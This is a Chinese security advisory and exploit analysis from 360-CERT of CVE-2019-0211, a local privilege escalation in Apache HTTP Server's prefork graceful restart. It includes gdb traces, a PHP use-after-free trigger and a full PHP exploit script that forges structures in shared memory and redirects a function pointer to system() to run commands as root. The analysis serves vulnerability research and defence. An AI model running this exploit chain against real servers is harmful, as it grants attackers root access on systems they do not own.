CVE-2019-0211:Apache HTTP服务组件提权漏洞分析
2019-04-09 18:27

CVE-2019-0211:Apache HTTP服务组件提权漏洞分析

报告编号:B6-2019-040904

报告来源:

报告作者:360-CERT

更新日期:2019-04-09

0x00 介绍

从2.4.17到 2.4.28版本,Apache HTTP 发现存在本地提权漏洞,原因是数组访问越界导致任意函数调用。该漏洞由Apache的优雅重启导致(apache2ctl graceful).在标准Linux配置中,logrotate实用程序每天上午6:25运行此命令一次,以便重置日志文件句柄。

该漏洞影响mod_prefork,mod_worker和mod_event。下面演示以mod_prefork为主。

0x01 漏洞描述

多处理模块(MPM),prefork模型中,主服务进程以root权限模式运行,管理一个单线程,低权限(www-data)工作进程池,用于处理HTTP请求。

├─httpd(11666)─┬─httpd(12300)
│              ├─httpd(12301)
│              ├─httpd(12302)
│              ├─httpd(12303)
│              └─httpd(12304)

root      11666  0.0  0.3 272128 12944 ?        Ss   15:01   0:00 /usr/local/httpd//bin/httpd -k restart
www       12300  0.0  0.2 274344  9336 ?        S    15:12   0:00 /usr/local/httpd//bin/httpd -k restart
www       12301  0.0  0.2 274344  8076 ?        S    15:12   0:00 /usr/local/httpd//bin/httpd -k restart
www       12302  0.0  0.2 274344  9476 ?        S    15:12   0:00 /usr/local/httpd//bin/httpd -k restart
www       12303  0.0  0.2 274344  9476 ?        S    15:12   0:00 /usr/local/httpd//bin/httpd -k restart
www       12304  0.0  0.2 274344  8076 ?        S    15:12   0:00 /usr/local/httpd//bin/httpd -k restart

为了从工作进程那里获得反馈,Apache维护了一个共享内存区域(SHM),scoreboard,它包含各种信息,例如工作进程PID和他们处理的最后一个请求。

每个工作进程都要维护与其PID相关联的process_score结构,并具有对SHM的完全读/写访问权限。

ap_scoreboard_image: 指向共享内存块的指针

(gdb) p *ap_scoreboard_image 
$3 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820

与工作进程PID 12300关联的共享内存示例

(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 12300, 
  generation = 0, 
  quiescing = 0 '\000', 
  not_accepting = 0 '\000', 
  connections = 0, 
  write_completion = 0, 
  lingering_close = 0, 
  keep_alive = 0, 
  suspended = 0, 
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

当Apache优雅重启时(),他的主服务进程杀死所有老的工作进程并用新的工作进程代替。

[root@bogon john]# ps -aux | grep http
root      12836  0.0  0.3 272260 13012 ?        Ss   15:35   0:00 /usr/local/httpd//bin/httpd -k start
www       15687  0.0  0.1 274344  7632 ?        S    17:33   0:00 /usr/local/httpd//bin/httpd -k start
www       15688  0.0  0.1 274344  7632 ?        S    17:33   0:00 /usr/local/httpd//bin/httpd -k start
www       15689  0.0  0.1 274344  7632 ?        S    17:33   0:00 /usr/local/httpd//bin/httpd -k start
www       15690  0.0  0.1 274344  7632 ?        S    17:33   0:00 /usr/local/httpd//bin/httpd -k start
www       15691  0.0  0.1 274344  7632 ?        S    17:33   0:00 /usr/local/httpd//bin/httpd -k start
root      15904  0.0  0.0 112712   980 pts/0    S+   17:53   0:00 grep --color=auto http
[root@bogon john]# apachectl graceful
[root@bogon john]# ps -aux | grep http
root      12836  0.0  0.3 272260 13024 ?        Ss   15:35   0:00 /usr/local/httpd//bin/httpd -k start
www       15945  0.0  0.1 274344  7652 ?        S    17:53   0:00 /usr/local/httpd//bin/httpd -k start
www       15946  0.0  0.1 274344  7652 ?        S    17:53   0:00 /usr/local/httpd//bin/httpd -k start
www       15947  0.0  0.1 274344  7652 ?        S    17:53   0:00 /usr/local/httpd//bin/httpd -k start
www       15948  0.0  0.1 274344  7652 ?        S    17:53   0:00 /usr/local/httpd//bin/httpd -k start
www       15949  0.0  0.1 274344  7652 ?        S    17:53   0:00 /usr/local/httpd//bin/httpd -k start
root      15951  0.0  0.0 112712   976 pts/0    S+   17:53   0:00 grep --color=auto http
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408, 
  listeners = 0x7f19db35e9d0, 
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

由于优雅重启,老的工作进程的bucket值会被主服务进程用来访问all_buckets数组.又由于没有进行下标检查,从而会造成提权。

0x02 原理分析

1.恶意用户首先修改bucket,并使其指向恶意构造的prefork_child_bucket结构(共享内存中)。

2.优雅重启

主服务进程会杀死以前所有的工作进程,然后调用prefork_run,fork出新的工作进程

<server/mpm/prefork/prefork.c>

//省略无关的部分

static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
    int index;
    int remaining_children_to_start;
    int i;

    ap_log_pid(pconf, ap_pid_fname);

    if (!retained->mpm->was_graceful) {//跳过,因为优雅启动时,was_graceful为true
        if (ap_run_pre_mpm(s->process->pool, SB_SHARED) != OK) {
            retained->mpm->mpm_state = AP_MPMQ_STOPPING;
            return !OK;
        }
        /* fix the generation number in the global score; we just got a new,
         * cleared scoreboard
         */
        ap_scoreboard_image->global->running_generation = retained->mpm->my_generation;
    }
...
    if (!retained->mpm->was_graceful) {
        startup_children(remaining_children_to_start);
        remaining_children_to_start = 0;
    }
...
    while (!retained->mpm->restart_pending && !retained->mpm->shutdown_pending) {
...
        ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf);//获取被杀死的工作进程的PID
...
        if (pid.pid != -1) {
            processed_status = ap_process_child_status(&pid, exitwhy, status);
            child_slot = ap_find_child_by_pid(&pid);//获取PID对应于计分板中对应parent的下标
...
            /* non-fatal death... note that it's gone in the scoreboard. */
            if (child_slot >= 0) {
                (void) ap_update_child_status_from_indexes(child_slot, 0, SERVER_DEAD,
                                                           (request_rec *) NULL);
                prefork_note_child_killed(child_slot, 0, 0);
                if (processed_status == APEXIT_CHILDSICK) {
                    /* child detected a resource shortage (E[NM]FILE, ENOBUFS, etc)
                     * cut the fork rate to the minimum
                     */
                    retained->idle_spawn_rate = 1;
                }
                else if (remaining_children_to_start
                    && child_slot < ap_daemons_limit) {//如果工作进程的死亡不是致命的
                    /* we're still doing a 1-for-1 replacement of dead
                     * children with new children
                     */
                    make_child(ap_server_conf, child_slot,
                               ap_get_scoreboard_process(child_slot)->bucket);//则将死亡的工作进程的bucket作为参数传递(注意:bucket我们可以用“非常规手段”进行修改,从而提权)
                    --remaining_children_to_start;
                }
            }
    }
    return OK;
}

make_child:

static int make_child(server_rec *s, int slot, int bucket)
{
...
    if (!pid) {
        my_bucket = &all_buckets[bucket];//使my_bucket指向共享内存中的到恶意构造的prefork_child_bucket结构
...
        child_main(slot, bucket);
...    
    return 0;
}
static void child_main(int child_num_arg, int child_bucket)
{
...
    status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
                                    apr_proc_mutex_lockfile(my_bucket->mutex),
                                    pchild));//如果Apache侦听两个或更多端口,则SAFE_ACCEPT(<code>)将仅执行<code>(这通常是因为服务器侦听HTTP(80)和HTTPS(443))
...
}
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
                                                    const char *fname,
                                                    apr_pool_t *pool)
{
    return (*mutex)->meth->child_init(mutex, pool, fname);
}

如果apr_proc_mutex_child_init执行,这导致(* mutex) - > meth-> child_init(mutex,pool,fname)被调用,从而执行恶意代码(注意,执行恶意代码的时候,进程仍然处于root权限,后面才降低自身的权限)。

0x03 通过gdb恶意修改bucket值造成的崩溃

(gdb) 
716            child_main(slot, bucket);
(gdb) s
child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=80808080) at prefork.c:380
380    {
(gdb) n
..........
432        status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0x000000000046c16b in child_main (child_num_arg=child_num_arg@entry=0, 
    child_bucket=child_bucket@entry=80808080) at prefork.c:432
432        status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,

0x04 利用

利用分4个步骤

  • 获得工作进程的R/W访问权限
  • 在共享内存中写一个假的prefork_child_bucket结构
  • 使all_buckets [bucket]指向该结构
  • 等待早上6:25获得任意函数调用

问题:PHP不允许读写/proc/self/mem, 这会阻止我们利用简单方法编辑共享内存

获取工作进程内存的R/W访问权限

PHP UAF 0-day

由于mod_prefork经常与mod_php结合使用,因此通过PHP利用漏洞似乎很自然。我们使用PHP 7.x中的0day UAF(这似乎也适用于PHP5.x)来完成利用(也可以利用CVE-2019-6977)

<?php

class X extends DateInterval implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $p;
    unset($y[0]);
    $p = $this->y;
    return $this;
  }
}

function get_aslr()
{
  global $p, $y;
  $p = 0;

  $y = [new X('PT1S')];
  json_encode([1234 => &$y]);
  print("ADDRESS: 0x" . dechex($p) . "\n");

  return $p;
}

get_aslr();

这是PHP对象上的UAF: 我们unset $y[0](X的一个实例),但它仍然可以通过$this使用。

UAF导致读/写

我们希望实现两件事:

  • 读取内存以查找all_buckets的地址
  • 编辑共享内存,修改bucket,添加我们自定义的恶意结构

幸运的是,PHP的堆位于内存中的那两个之前。

PHP堆,ap_scoreboard_image,all_buckets的内存地址

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

(gdb) p *ap_scoreboard_image 
$14 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p all_buckets 
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

由于我们在PHP对象上触发UAF,因此该对象的任何属性也将是UAF; 我们可以将这个zend_object UAF转换为zend_string。因为zend_string的结构非常有用:

(gdb) ptype zend_string
type = struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1];
}

len属性包含字符串的长度。 通过递增它,我们可以在内存中进一步读写,从而访问我们感兴趣的两个内存区域:共享内存和all_buckets。

定位bucket index 和 all_buckets

我们需要修改ap_scoreboard_image->parent[worker_id]->bucket中的parent结构中的bucket。幸运的是,parent结构总是处于共享内存块的开始,因此很容易找到:

➜  /www curl 127.0.0.1
PID: 14380
7f8a19da9000-7f8a19dc1000 rw-s 00000000 00:04 61736                      /dev/zero (deleted)
➜  /www 

(gdb) p &ap_scoreboard_image->parent[0]
$1 = (process_score *) 0x7f8a19da9040
(gdb) p &ap_scoreboard_image->parent[1]
$2 = (process_score *) 0x7f8a19da9064
(gdb) 

为了定位到all_buckets,我们可以利用我们对prefork_child_bucket结构的了解:

prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}

apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;

    ...
}

apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

all_buckets[0]->mutex 与 all_buckets[0] 位于同一个内存区域中(我的是第一个heap内存区域中)。apr_proc_mutex_unix_lock_methods_t是一个静态结构,位于libapr的.data,因此meth指针指向libapr中的data段中,且apr_proc_mutex_unix_lock_methods_t结构中的函数,位于libapr中的text段中。

由于我们可以通过/proc/self/maps来了解这些内存区域,我们可以遍历Apache内存中的每一个指针,找到一个匹配该结构的指针,这将是all_buckets [0]。

注意,all_buckets的地址在每次正常重启时都会发生变化。这意味着当我们的漏洞触发时,all_buckets的地址将与我们找到的地址不同。 必须考虑到这一点; 我们稍后会解决该问题。

向共享内存中写入恶意prefork_child_bucket结构

任意函数调用的代码路径如下

bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)

image

为了利用,我们使(mutex)->meth->child_init指向zend_object_std_dtor(zend_object object),这产生以下链:

mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)

pDestructor 使其指向system函数,&ht->arData[0]->val为system函数的字符串。

image

如我们所见,两个最左边的两个结构是可以叠加的(prefork_child_bucket,zend_object结构)。

使all_buckets [bucket]指向恶意构造的结构

由于all_buckets地址在每次优雅重启之后会改变,我们需要对其进行改进,有两种改进:喷射共享内存和使用每个process_score结构。

喷射共享内存

如果all_buckets的新地址离旧地址不远,my_bucket将会大概指向我们的结构。因此,我们可以将其全部喷射在共享内存的未使用部分上,而不是将我们的prefork_child_bucket结构放在共享内存的精确位置。但是问题是,该结构也用于作为zend_object结构,因此它的大小为(5 * 8)40个字节以包含zend_object.properties字段。在共享内存中,喷射该混合结构,对我们没有帮助。

为了解决该问题,我们叠加apr_proc_mutex_t和zend_array结构,并将其地址喷洒在共享内存的其余部分。影响将是prefork_child_bucket.mutex和zend_object.properties指向同一地址。 现在,如果all_bucket重新定位没有远离其原始地址,my_bucket将位于喷射区域。

image

使用每个process_score结构

每个Apache工作进程都有一个关联的process_score结构,并且每一个都有一个bucket索引。我们可以改变它们中的每一个,而不是改变一个process_score.bucket值,以使它们覆盖内存的另一部分。 例如:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

这样一来,我们的成功率就是原始成功率乘以Apache Worker的数量。 作者通过在共享内存中查找worker process的PID从而定位到每个process_score结构,并利用被UAF漏洞修改过的字符串结构对bucket字段值进行修改。

成功率

不同的Apache服务具有不同数量的工作进程。 拥有更多的工作进程意味着我们可以在更少的内存上喷射互斥锁的地址,但这也意味着我们可以为all_buckets指定更多的索引。 这意味着拥有更多工作进程可以提高我们的成功率。 在测试Apache服务器上尝试了4个工作进程(默认)后,成功率大约为80%。 随着更多工作进程,成功率跃升至100%左右。

同样,如果漏洞利用失败,它可以在第二天重新启动,因为Apache仍将正常重启。 然而,Apache的error.log将包含有关其工作进程段错误的通知。

0x05 利用PHP扩展模块体验任意函数执行

为了更好的理解该漏洞,我们用PHP扩展,来模拟PHP UAF,以达到任意地址读写。

环境

操作系统:CentOS 7 x64

Apache版本:Apache/2.4.38 (Unix)

PHP版本:PHP 7.3.3

Apache 编译选项:

./configure --prefix=/usr/local/httpd/ \
--sysconfdir=/etc/httpd/ \
--with-include-apr \
--disable-userdir \
--enable-headers \
--with-mpm=prefork \
--enable-modules=most \
--enable-so \
--enable-deflate \
--enable-defate=shared \
--enable-expires-shared \
--enable-rewrite=shared \
--enable-static-support \
--with-apr=/usr/local/apr/ \
--with-apr-util=/usr/local/apr-util/bin \
--with-ssl \
--with-z 

PHP编译选项:

./configure --prefix=/usr/local/php/ \
--with-config-file-path=/usr/local/php/etc/ \
--with-apxs2=/usr/local/httpd/bin/apxs \             
--enable-fpm \
--with-zlib \
--with-libxml-dir \
--enable-sockets \
--with-curl \
--with-jpeg-dir \
--with-png-dir \
--with-gd \
--with-iconv-dir \
--with-freetype-dir \
--enable-gd-native-ttf \
--with-xmlrpc \
--with-openssl \
--with-mhash \
--with-mcrypt \
--with-pear \
--enable-mbstring \
--enable-sysvshm \
--enable-zip \
--disable-fileinfo 

PHP扩展

[root@bogon php-extension]# cat read_mem.c 
#include <stdio.h>
#include <stdint.h>

long read_mem(long addr)
{
    return (unsigned long)(*((uint8_t*)(addr)));
}
[root@bogon php-extension]# cat write_mem.c 
#include <stdio.h>
#include <stdint.h>

void write_mem(long addr,long data)
{
    *((uint8_t*)addr) = data;
}
[root@bogon php-extension]# 

问题

我在Apache 2.4.38 与 Apache 2.4.25中,测试发现all_buckets的地址与共享内存的地址之间的差值,远远不是一个4字节能表示的(bucket索引4字节)。所以在我的演示中,需要通过gdb来修改

my_bucket = &all_buckets[bucket];//prefork.c:685

my_bucket的值,来模拟修改bucket,使其指向恶意的prefork_child_bucket结构。

PHP利用代码

<?php

function read_mem_dword($addr)
{
    $ret = 0;
    for($j = 0;$j<4;$j++){
        $ret += read_mem($addr+$j) * pow(256,$j);
    }
    return $ret;
}

function read_mem_qword($addr)
{
    $ret = 0;
    for($j = 0;$j<8;$j++){
        $ret += read_mem($addr+$j) * pow(256,$j);
    }
    return $ret;
}

function read_mem_byte($addr)
{
    return read_mem($addr);
}

function write_mem_qword($addr,$data)
{
    for($j=0;$j<8;$j++){
        $b = (0xff&(($data)>>($j*8)));
        write_mem($addr+$j,$b);
    }
}

function write_mem_dword($addr,$data)
{
    for($j=0;$j<4;$j++){
        $b = (0xff&(($data)>>($j*8)));
        write_mem($addr+$j,$b);
    }
}

function write_mem_byte($addr,$data)
{
    write_mem($addr,$data);
}

/*
get_mem_region:

str为,maps文件中的特征字符串,用于搜索指定的内存区域

返回值为:
array(2) {
    [0]=>//第一个匹配的内存区域
    array(2) {
            [0]=>
            int(140231115968512)//起始地址
            [1]=>
        int(140231116066816)//结束地址
            [2]=>
        string(4) "rw-s"//保护权限
    }
    [1]=>//第二个匹配的内存区域
    array(2) {
        [0]=>
        int(140231116201984)
        [1]=>
        int(140231116718080)
            [2]=>
        string(4) "rw-s"//保护权限
    }
}

*/
function get_mem_region($str)
{
    $file = fopen("/proc/self/maps","r");
    $result_index = 0;
    $result = array();
    while(!feof($file)){
        $line = fgets($file);
        if(strpos($line,$str)){
            $addr_len = 0;
            for(;$line[$addr_len]!='-';$addr_len++);

            $start_addr_str =  substr($line,0,$addr_len);
            $end_addr_str = substr($line,$addr_len+1,$addr_len);

            $result[$result_index][0] = hexdec($start_addr_str);
            $result[$result_index][1] = hexdec($end_addr_str);
            $result[$result_index][2] = substr($line,$addr_len*2+2,4);
            $result_index++;
        }
    }
    fclose($file);

    return $result;
}


function locate_parent_arr_addr()//获取共享内存中,parent数组的首地址
{
    $my_pid = getmypid();
    $shm_region = get_mem_region("/dev/zero");
    if(!count($shm_region))
        return 0;

    //parent数组项的大小是,每个0x20个字节
    //pid_t在我环境中,大小4字节
    $pid_t_size = 4;
    $parent_size = 0x24;

    //只检查共享内存的前0x1000字节(4KB)
    for($i = 0;$i<0x1000;$i++){
        $hit_count = 0;
        for($j = 0;$j<5;$j++){//循环次数,请参考httpd-mpm.conf中的prefork的MinSpareServers
            $pid = read_mem_dword($shm_region[0][0]+ $i + $j*$parent_size);
            if( $my_pid - 20 < $pid && $pid < $my_pid+20){//因为prefork中,进程的pid是紧挨的,我们可以通过这个来判断是否是parent数组的首地址
                $hit_count++;    
            }
        }
        if($hit_count == 5){
            return $shm_region[0][0]+$i;
        }
    }


    return 0;
}



function locate_self_parent_struct_addr()//获取共享内存中,当前parent的首地址
{
    $my_pid = getmypid();
    $shm_region = get_mem_region("/dev/zero");
    if(!count($shm_region))
        return 0;
    //因为parent数组,总是位于第一个/dev/zero中,所以,我们只搜索第一个
    echo "/dev/zero start addr:0x".dechex($shm_region[0][0])."\n";
    echo "/dev/zero end addr:0x".dechex($shm_region[0][1])."\n";


    for($i =0;$i<4096;$i++){
        $pid = read_mem_dword($shm_region[0][0]+$i);//pid_t在我的环境中,为4字节大小
        if($pid == $my_pid){
            return $shm_region[0][0]+$i;//找到直接返回
        }
    }

    return 0;
}

//获取all_buckets的地址
function locate_all_buckets_addr()
{
    $heap_region = get_mem_region("heap");//在我的环境中,all_bucket位于第一个heap中
    $libapr_region = get_mem_region("libapr-");
    if(!count($heap_region) || !count($libapr_region))
        return 0;
    $heap_start_addr = $heap_region[0][0];
    $heap_end_addr = $heap_region[0][1];

    echo "heap start addr:0x".dechex($heap_start_addr)."\n";
    echo "heap end addr:0x".dechex($heap_end_addr)."\n";

    $libapr_text_start_addr = 0;
    $libapr_data_start_addr = 0;
    $libapr_text_end_addr = 0;
    $libapr_data_end_addr = 0;
    for($i = 0;$i<count($libapr_region);$i++){
        if($libapr_region[$i][2] === "r-xp"){//代码段
            $libapr_text_start_addr = $libapr_region[$i][0];
            $libapr_text_end_addr = $libapr_region[$i][1];
            continue;
        }

        if($libapr_region[$i][2] === "r--p"){//const data
            $libapr_data_start_addr = $libapr_region[$i][0];
            $libapr_data_end_addr = $libapr_region[$i][1];
            continue;
        }
    }

    echo "libapr text start addr:0x".dechex($libapr_text_start_addr)."\n";
    echo "libapr text end addr:0x".dechex($libapr_text_end_addr)."\n";

    echo "libapr data start addr:0x".dechex($libapr_data_start_addr)."\n";
    echo "libapr data end addr:0x".dechex($libapr_data_end_addr)."\n";

    $result = array();
    $result_index = 0;
    for($i = 0;$i<$heap_end_addr - $heap_start_addr;$i+=8){//遍历heap
        $mutex_addr = read_mem_qword($heap_start_addr + $i);//prefork_child_bucket中的mutex
        if( $heap_start_addr <$mutex_addr && $mutex_addr<$heap_end_addr ){

            $meth_addr = read_mem_qword($mutex_addr + 8);//apr_proc_mutex_t中的meth

            if( $libapr_data_start_addr < $meth_addr && $meth_addr < $libapr_data_end_addr){

                $function_point = read_mem_qword($meth_addr+8);
                if($libapr_text_start_addr < $function_point && $function_point < $libapr_text_end_addr){
                    $result[$result_index++] = $heap_start_addr + $i - 8 -8;
                }
            }
        }
    }

    //在我的环境中,有多个地址满足是all_buckets 地址的要求,但是只有第3个才是正确的
    if( count($result)!= 4 ){
        return 0;
    }
    else{
        return $result[2];
    }
}

echo "PID: ".getmypid()."\n";

$parent_struct_addr = locate_self_parent_struct_addr();
if($parent_struct_addr == 0){
    die("get self parent struct addr error\n");
}
echo "self parent struct addr:0x".dechex($parent_struct_addr)."\n";

$parent_arr_addr = locate_parent_arr_addr();
if($parent_arr_addr){
    echo "parent arr addr:0x".dechex($parent_arr_addr)."\n";
}

$all_buckets_addr = locate_all_buckets_addr();
if($all_buckets_addr == 0){
    die("get all_buckets addr error\n");
}
echo "all_buckets addr:0x".dechex($all_buckets_addr)."\n";

$evil_parent_start_addr = $parent_arr_addr + 0x24 * 10;//(我这里的parent 就是 prefork_child_bucket结构,0x24是每个prefork_child_bucket的大小,10参考http-mpm.conf中prefork的MaxSpareServers)

echo "evil prefork_child_bucket start addr:0x".dechex($evil_parent_start_addr)."\n";

//我们需要将prefork_child_bucket与zend_object结合,使其包含zend_object 的 properties字段,因此prefork_child_bucket的"大小"是40+16字节
$evil_parent_end_addr = $evil_parent_start_addr + 40+16;
echo "evil prefork_child_bucket end addr:0x".dechex($evil_parent_end_addr)."\n";

//将apr_proc_mutex_t结构与zend_array结构结合为一个结构
$evil_zend_array_start_addr = $evil_parent_end_addr;
echo "evil zend_array start addr:0x".dechex($evil_zend_array_start_addr)."\n";

$evil_zend_array_end_addr = $evil_zend_array_start_addr + 0x38;
echo "evil zend_array end addr:0x".dechex($evil_zend_array_end_addr)."\n";

//apr_proc_mutex_unix_lock_methods_t结构
$evil_mutex_methods_start_addr = $evil_zend_array_end_addr;
$evil_mutex_methods_end_addr = $evil_mutex_methods_start_addr + 0x50;

echo "evil mutex_methods start addr:0x".dechex($evil_mutex_methods_start_addr)."\n";
echo "evil mutex_methods end addr:0x".dechex($evil_mutex_methods_end_addr)."\n";

//system()中的字符串

$evil_string = "touch /hello";
$evil_string_len = strlen($evil_string)+1;//\0结尾

if($evil_string_len%8){//对齐
    $evil_string_len = ((int)($evil_string_len/8)+1)*8;
}
echo "evil string: ".$evil_string." len:".$evil_string_len."\n";

$evil_string_start_addr = $evil_mutex_methods_end_addr;
$evil_string_end_addr = $evil_string_start_addr + $evil_string_len;

echo "evil string start addr:0x".dechex($evil_string_start_addr)."\n";
echo "evil string end addr:0x".dechex($evil_string_end_addr)."\n";

//查找zend_object_std_dtor的地址(我的在libphp7.so)
$zend_object_std_dtor_addr = 0;
$libphp_region = get_mem_region("libphp");
if(!count($libphp_region)){
    die("can't find zend_object_std_dtor function addr\n");
}

for($i = 0;$i<count($libphp_region);$i++){
    if($libphp_region[$i][2] === "r-xp"){
        $zend_object_std_dtor_addr = $libphp_region[$i][0]+0x4F8300;//zend_object_std_dtor 在libphp7.so代码段中的偏移
        break;
    }
}

if($zend_object_std_dtor_addr === 0){
    die("can't find zend_object_std_dtor function addr\n");
}
echo "zend_object_std_dtor function addr:0x".dechex($zend_object_std_dtor_addr)."\n";

//查找system函数的地址(在libpthread中)
$system_addr = 0;
$pthread_region = get_mem_region("pthread");
if(!count($pthread_region)){
    die("can't find system function addr\n");
}

for($i = 0;$i<count($pthread_region);$i++){
    if($pthread_region[$i][2] === "r-xp"){
        $system_addr = $pthread_region[$i][0]+0xF4C0;//system 在libpthread-2.17.so代码段中的偏移
        break;
    }
}

if($system_addr === 0){
    die("can't find system function addr\n");
}
echo "system function addr:0x".dechex($system_addr)."\n";

//将apr_proc_mutex_unix_lock_methods_t中的child_init改为zend_object_std_dtor
$child_init = $evil_mutex_methods_start_addr+0x30;
echo "child_init(0x".dechex($child_init).") => zend_object_std_dtor\n";
write_mem_qword($evil_mutex_methods_start_addr+0x30,$zend_object_std_dtor_addr);

//将混合结构zend_array的pDestructor指向system
$pDestructor = $evil_zend_array_start_addr + 0x30;
echo "pDestructor(0x".dechex($pDestructor).") => system\n";
write_mem_qword($pDestructor,$system_addr);

//将混合结构zend_array的meth指向apr_proc_mutex_unix_lock_methods_t
$meth = $evil_zend_array_start_addr + 0x8;
echo "meth(0x".dechex($meth).") => mutex_mthods_struct\n";
write_mem_qword($meth,$evil_mutex_methods_start_addr);
write_mem_qword($evil_zend_array_start_addr,0x1);

//将prefork_child_bucket中的mutex指向混合结构zend_array
$mutex = $evil_parent_start_addr + 0x10;
echo "mutex(0x".dechex($mutex).") => zend_array struct\n";
write_mem_qword($mutex,$evil_zend_array_start_addr);

//将混合结构prefork_child_bucket中的properties指向zend_array结构
$properties = $evil_parent_start_addr + 0x20+0x10;
echo "properties(0x".dechex($properties).") => zend_array struct\n";
write_mem_qword($properties,$evil_zend_array_start_addr);

//system 字符串 写入
for($i = 0;$i<strlen($evil_string);$i++){
    $b = ord($evil_string[$i]);
    write_mem($evil_string_start_addr+$i,$b);
}
write_mem($evil_string_start_addr+$i,0);

//将zend_array中的arData指向system字符串
$ar_data = $evil_zend_array_start_addr + 0x10;
echo "ar_data(0x".dechex($ar_data).") => evil string\n";
write_mem_qword($ar_data,$evil_string_start_addr);

//将zend_array中的nNumUsed设置为1,(自行分析代码去)
$nNumUsed = $evil_zend_array_start_addr + 0x18;
write_mem_qword($nNumUsed,1);


//堆喷
echo "\nSpraying the shared memory start\n\n";

$shm_region = get_mem_region("/dev/zero");
$evil_shm_start_addr = $evil_string_end_addr;
$evil_shm_end_addr = $shm_region[0][1];
$evil_shm_size = $evil_shm_end_addr - $evil_shm_start_addr;

$evil_shm_mid_addr = $evil_shm_start_addr + 8*((int)(((int)($evil_shm_size/2))/8) + 1);

echo "evil_shm_start:0x".dechex($evil_shm_start_addr)."\n";
echo "evil_shm_end:0x".dechex($evil_shm_end_addr)."\n";
echo "evil_shm_size:".dechex($evil_shm_size)."\n";

for($i = 0;$i<$evil_shm_size;$i+=8){
    write_mem_qword($evil_shm_start_addr+$i,$evil_zend_array_start_addr);
}


echo "evil_shm_mid_addr:0x".dechex($evil_shm_mid_addr)."\n";

echo "bucket:".dechex($bucket)."\n";
?>

利用成功时,会在根目录下,创建hello文件

步骤

根目录显示
➜  ~ ls /
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  www
让服务器执行恶意php代码
➜  ~ curl 127.0.0.1
PID: 19896
/dev/zero start addr:0x7f1f62a32000
/dev/zero end addr:0x7f1f62a4a000
self parent struct addr:0x7f1f62a32040
parent arr addr:0x7f1f62a32040
heap start addr:0xf59000
heap end addr:0x1022000
libapr text start addr:0x7f1f61ffa000
libapr text end addr:0x7f1f6202f000
libapr data start addr:0x7f1f6222e000
libapr data end addr:0x7f1f6222f000
all_buckets addr:0xff0c18
evil prefork_child_bucket start addr:0x7f1f62a321a8
evil prefork_child_bucket end addr:0x7f1f62a321e0
evil zend_array start addr:0x7f1f62a321e0
evil zend_array end addr:0x7f1f62a32218
evil mutex_methods start addr:0x7f1f62a32218
evil mutex_methods end addr:0x7f1f62a32268
evil string: touch /hello len:16
evil string start addr:0x7f1f62a32268
